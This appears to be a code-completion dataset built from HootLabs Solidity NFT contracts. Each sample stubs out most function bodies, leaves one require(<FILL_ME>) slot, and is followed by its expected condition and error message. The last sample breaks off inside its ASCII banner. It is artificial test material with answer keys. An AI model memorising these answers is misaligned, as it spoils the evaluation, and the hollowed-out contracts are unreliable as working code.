. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "../hootbase/base/erc721/HootERC721.sol";
import "../hootbase/base/common/HootProvenance.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Raising.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Refund.sol";
import "../hootbase/base/erc721/features/HootBaseERC721URIStorageWithLevel.sol";
import "../hootbase/utils/HootRandTokenID.sol";
abstract contract YINGBlind {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function isFreeMintYINGToken(uint256 tokenId)
public
view
virtual
returns (bool);
}
/**
* @title HootAirdropBox
* @author HootLabs
*/
contract YING is
HootRandTokenID,
HootBaseERC721Provenance,
HootBaseERC721Raising,
HootBaseERC721Refund,
HootBaseERC721URIStorageWithLevel,
HootERC721
{
event YINGConfigChanged(YINGConfig cfg);
event YINGBlindContractChanged(address blindAddress);
event YINGRevealed(
uint256 indexed blindTokenId,
uint256 indexed yingTokenId
);
/**
* used to mark the contract, each contract have to make a different CONTRACT_SHIELD
*/
uint256 public constant CONTRACT_SHIELD = 1942123432145421;
struct YINGConfig {
uint256 maxSupply;
bool rejectFreeMintRefund;
}
YINGConfig public yingCfg;
address _yingBlindAddress;
constructor(YINGConfig memory yingCfg_)
HootERC721("YING", "YING")
{
}
/***********************************|
| Config |
|__________________________________*/
function setYINGConfig(YINGConfig calldata cfg_) external onlyOwner {
}
// Set authorized contract address for minting the ERC-721 token
function setYINGBlindContract(address contractAddress_) external onlyOwner {
}
/***********************************|
| Core |
|__________________________________*/
function mintTransfer(address address_, uint256 blindTokenId_)
public
virtual
returns (uint256)
{
}
function mintTransferBatch(
address address_,
uint256[] calldata blindTokenIds_
) public virtual returns (uint256[] memory) {
require(_msgSender() == _yingBlindAddress, "not authorized");
require(
blindTokenIds_.length <= yingCfg.maxSupply,
"mint would exceed max supply"
);
unchecked {
require(<FILL_ME>)
uint256[] memory tokenIds = new uint256[](blindTokenIds_.length);
for (uint256 i = 0; i < blindTokenIds_.length; i++) {
uint256 tokenId = _genTokenId();
_safeMint(address_, tokenId);
tokenIds[i] = tokenId;
emit YINGRevealed(blindTokenIds_[i], tokenId);
}
return tokenIds;
}
}
/***********************************|
| HootBaseERC721Owners |
|__________________________________*/
function exists(uint256 tokenId_)
public
view
virtual
override(HootBaseERC721Owners, HootERC721)
returns (bool)
{
}
/***********************************|
| HootRandTokenID |
|__________________________________*/
function _remainSupply() internal view virtual override returns (uint256) {
}
/***********************************|
| HootBaseERC721Refund |
|__________________________________*/
function _refundPrice(uint256 tokenId_)
internal
view
virtual
override
returns (uint256)
{
}
/***********************************|
| HootBaseERC721URIStorageWithLevel |
|__________________________________*/
function tokenURI(uint256 tokenId_)
public
view
virtual
override(ERC721, HootBaseERC721URIStorage)
returns (string memory)
{
}
/***********************************|
| HootERC721 |
|__________________________________*/
function tokenByIndex(uint256 index)
external
view
virtual
override
returns (uint256)
{
}
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
override
returns (uint256)
{
}
function tokensOfOwner(address owner_)
external
view
returns (uint256[] memory)
{
}
/***********************************|
| ERC721A |
|__________________________________*/
/**
* @notice hook function, used to intercept the transfer of token.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(HootBaseERC721Raising, HootERC721) {
}
}
|
totalMinted()+blindTokenIds_.length<=yingCfg.maxSupply,"mint would exceed max supply"
| 142,170 |
totalMinted()+blindTokenIds_.length<=yingCfg.maxSupply
|
"there are not enough tokens"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "../hootbase/base/erc721/HootERC721.sol";
import "../hootbase/base/common/HootProvenance.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Raising.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Refund.sol";
import "../hootbase/base/erc721/features/HootBaseERC721URIStorageWithLevel.sol";
import "../hootbase/utils/HootRandTokenID.sol";
abstract contract YINGBlind {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function isFreeMintYINGToken(uint256 tokenId)
public
view
virtual
returns (bool);
}
/**
* @title HootAirdropBox
* @author HootLabs
*/
contract YING is
HootRandTokenID,
HootBaseERC721Provenance,
HootBaseERC721Raising,
HootBaseERC721Refund,
HootBaseERC721URIStorageWithLevel,
HootERC721
{
event YINGConfigChanged(YINGConfig cfg);
event YINGBlindContractChanged(address blindAddress);
event YINGRevealed(
uint256 indexed blindTokenId,
uint256 indexed yingTokenId
);
/**
* used to mark the contract, each contract have to make a different CONTRACT_SHIELD
*/
uint256 public constant CONTRACT_SHIELD = 1942123432145421;
struct YINGConfig {
uint256 maxSupply;
bool rejectFreeMintRefund;
}
YINGConfig public yingCfg;
address _yingBlindAddress;
constructor(YINGConfig memory yingCfg_)
HootERC721("YING", "YING")
{
}
/***********************************|
| Config |
|__________________________________*/
function setYINGConfig(YINGConfig calldata cfg_) external onlyOwner {
}
// Set authorized contract address for minting the ERC-721 token
function setYINGBlindContract(address contractAddress_) external onlyOwner {
}
/***********************************|
| Core |
|__________________________________*/
function mintTransfer(address address_, uint256 blindTokenId_)
public
virtual
returns (uint256)
{
}
function mintTransferBatch(
address address_,
uint256[] calldata blindTokenIds_
) public virtual returns (uint256[] memory) {
}
/***********************************|
| HootBaseERC721Owners |
|__________________________________*/
function exists(uint256 tokenId_)
public
view
virtual
override(HootBaseERC721Owners, HootERC721)
returns (bool)
{
}
/***********************************|
| HootRandTokenID |
|__________________________________*/
function _remainSupply() internal view virtual override returns (uint256) {
}
/***********************************|
| HootBaseERC721Refund |
|__________________________________*/
function _refundPrice(uint256 tokenId_)
internal
view
virtual
override
returns (uint256)
{
}
/***********************************|
| HootBaseERC721URIStorageWithLevel |
|__________________________________*/
function tokenURI(uint256 tokenId_)
public
view
virtual
override(ERC721, HootBaseERC721URIStorage)
returns (string memory)
{
}
/***********************************|
| HootERC721 |
|__________________________________*/
function tokenByIndex(uint256 index)
external
view
virtual
override
returns (uint256)
{
}
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
override
returns (uint256)
{
require(<FILL_ME>)
uint256 totalMinted = totalMinted();
uint256 scanIndex = 0;
uint256 tokenId = 0;
for (uint256 i = 0; i < totalMinted; i++) {
tokenId = _unsafeGetTokenIdByIndex(i);
require(tokenId >= _startTokenId(), "token not minted");
if (_unsafeOwnerOf(tokenId) != owner) {
continue;
}
if (scanIndex == index) {
return tokenId;
}
++scanIndex;
}
revert("not found token");
}
function tokensOfOwner(address owner_)
external
view
returns (uint256[] memory)
{
}
/***********************************|
| ERC721A |
|__________________________________*/
/**
* @notice hook function, used to intercept the transfer of token.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(HootBaseERC721Raising, HootERC721) {
}
}
|
balanceOf(owner)>index,"there are not enough tokens"
| 142,170 |
balanceOf(owner)>index
|
"there is some token left"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title Hootbirds
* @author HootLabs
*/
abstract contract HootRandTokenID is ReentrancyGuard, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5831;
uint256[MAX_SUPPLY] internal _randIndices; // Used to generate random tokenids
constructor() {}
/***********************************|
| abstract |
|__________________________________*/
function _remainSupply() internal view virtual returns (uint256);
/***********************************|
| RandomTokenId |
|__________________________________*/
function init(uint256 startIndex, uint256 stopIndex) external onlyOwner {
}
function freeStores() external virtual onlyOwner nonReentrant {
require(<FILL_ME>)
delete _randIndices;
}
function _genTokenId() internal returns (uint256 tokenId_) {
}
function _genTokenIdBatch(uint256 supply) internal returns (uint256[] memory){
}
function _genFirstTokenId() internal returns (uint256 tokenId_){
}
function _changePos(uint256 lastestPos, uint256 pos) private returns (uint256) {
}
function _unsafeGetTokenIdByIndex(uint256 index_) internal view returns (uint256) {
}
/***********************************|
| Util |
|__________________________________*/
/**
* @notice unsafeRandom is used to generate a random number by on-chain randomness.
* Please note that on-chain random is potentially manipulated by miners, and most scenarios suggest using VRF.
* @return randomly generated number.
*/
function _unsafeRandom(uint256 n) private view returns (uint256) {
}
}
|
_remainSupply()==0,"there is some token left"
| 142,171 |
_remainSupply()==0
|
"the first tokenId already generated"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title Hootbirds
* @author HootLabs
*/
abstract contract HootRandTokenID is ReentrancyGuard, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5831;
uint256[MAX_SUPPLY] internal _randIndices; // Used to generate random tokenids
constructor() {}
/***********************************|
| abstract |
|__________________________________*/
function _remainSupply() internal view virtual returns (uint256);
/***********************************|
| RandomTokenId |
|__________________________________*/
function init(uint256 startIndex, uint256 stopIndex) external onlyOwner {
}
function freeStores() external virtual onlyOwner nonReentrant {
}
function _genTokenId() internal returns (uint256 tokenId_) {
}
function _genTokenIdBatch(uint256 supply) internal returns (uint256[] memory){
}
function _genFirstTokenId() internal returns (uint256 tokenId_){
require(<FILL_ME>)
return _changePos(_randIndices.length-1, 0);
}
function _changePos(uint256 lastestPos, uint256 pos) private returns (uint256) {
}
function _unsafeGetTokenIdByIndex(uint256 index_) internal view returns (uint256) {
}
/***********************************|
| Util |
|__________________________________*/
/**
* @notice unsafeRandom is used to generate a random number by on-chain randomness.
* Please note that on-chain random is potentially manipulated by miners, and most scenarios suggest using VRF.
* @return randomly generated number.
*/
function _unsafeRandom(uint256 n) private view returns (uint256) {
}
}
|
_remainSupply()==_randIndices.length,"the first tokenId already generated"
| 142,171 |
_remainSupply()==_randIndices.length
|
"token is not exist"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "../../common/HootBase.sol";
import "../../../utils/HootCrypto.sol";
import "../extensions/HootBaseERC721Owners.sol";
/**
* @title HootBaseERC721URIStorage
* @author HootLabs
*/
abstract contract HootBaseERC721URIStorage is
HootBase,
HootBaseERC721Owners,
HootCrypto,
IERC721,
IERC721Metadata
{
using Strings for uint256;
event BaseURIChanged(string uri);
event TokenHashSet(uint256 tokenId, bytes32 tokenHash);
string private _preURI;
// Optional mapping for token URIs
mapping(uint256 => bytes32) private _tokenHashes;
function _baseURI(
uint256 /* tokenId_*/
) internal view virtual returns (string memory) {
}
/**
* @notice set base URI
* This process is under the supervision of the community.
*/
function setBaseURI(string calldata uri_) external onlyOwner {
}
/**
* @notice setTokenHash is used to set the ipfs hash of the token
* This process is under the supervision of the community.
*/
function setTokenHash(uint256 tokenId_, bytes32 tokenHash_)
external
atLeastManager
{
require(<FILL_ME>)
_tokenHashes[tokenId_] = tokenHash_;
emit TokenHashSet(tokenId_, tokenHash_);
}
/**
* @notice setTokenHashBatch is used to set the ipfs hash of the token
* This process is under the supervision of the community.
*/
function setTokenHashBatch(uint256[] calldata tokenIds_, bytes32[] calldata tokenHashes_)
external
atLeastManager
{
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
function unsafeTokenURIBatch(uint256[] calldata tokenIds_)
public
view
virtual
returns (string[] memory)
{
}
}
|
this.exists(tokenId_),"token is not exist"
| 142,175 |
this.exists(tokenId_)
|
"token is not exist"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
